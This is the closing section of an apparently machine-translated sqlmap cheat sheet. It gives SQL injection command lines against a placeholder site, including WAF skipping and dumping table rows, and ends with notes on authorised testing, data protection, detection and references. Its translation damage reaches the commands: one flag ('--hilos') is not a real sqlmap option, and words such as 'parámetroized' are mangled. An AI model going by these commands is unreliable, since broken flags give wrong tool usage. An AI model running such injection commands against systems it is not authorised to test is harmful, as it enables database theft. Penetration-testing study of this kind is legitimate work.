sqlmap -u "http://ejemplo.com/page.php?id=1" --hilos=10

# Optimize for speed
sqlmap -u "http://ejemplo.com/page.php?id=1" --level=1 --risk=1

# Skip unnecessary tests
sqlmap -u "http://ejemplo.com/page.php?id=1" --skip-waf

# Use specific technique
sqlmap -u "http://ejemplo.com/page.php?id=1" --technique=U

# Limit data retrieval
sqlmap -u "http://ejemplo.com/page.php?id=1" -D database -T table --start=1 --stop=100

Security Considerations

Operational Security

Legal and Ethical uso: - Only test applications you own or have explicit permission to test - Understand legal requirements for aplicación web testing in your jurisdiction - Implement proper autorización and documentación procedures - Respect scope limitations and rules of engagement - Be aware of potential data exposure and servicio disruption

Data Protection: - Encrypt SQLmap sesión files and output data - Implement secure data retention policies for assessment results - Control access to inyección SQL testing tools and results - Secure transmission of assessment repuertos and findings - Regular cleanup of temporary files and sesión data

Defensive Considerations

Detection and Prevention: - Monitor for SQLmap firmas and inyección SQL patterns - Implement aplicación web Firewalls (WAF) with inyección SQL protection - Deploy database activity monitoring and anomaly detection - Regular security code reviews and static analysis - Input validation and parámetroized query implementation

referencias

  1. SQLmap Official documentación
  2. SQLmap GitHub Repository
  3. OWASP inyección SQL Prevention
  4. inyección SQL Testing Guide
  5. Database Security Best Practices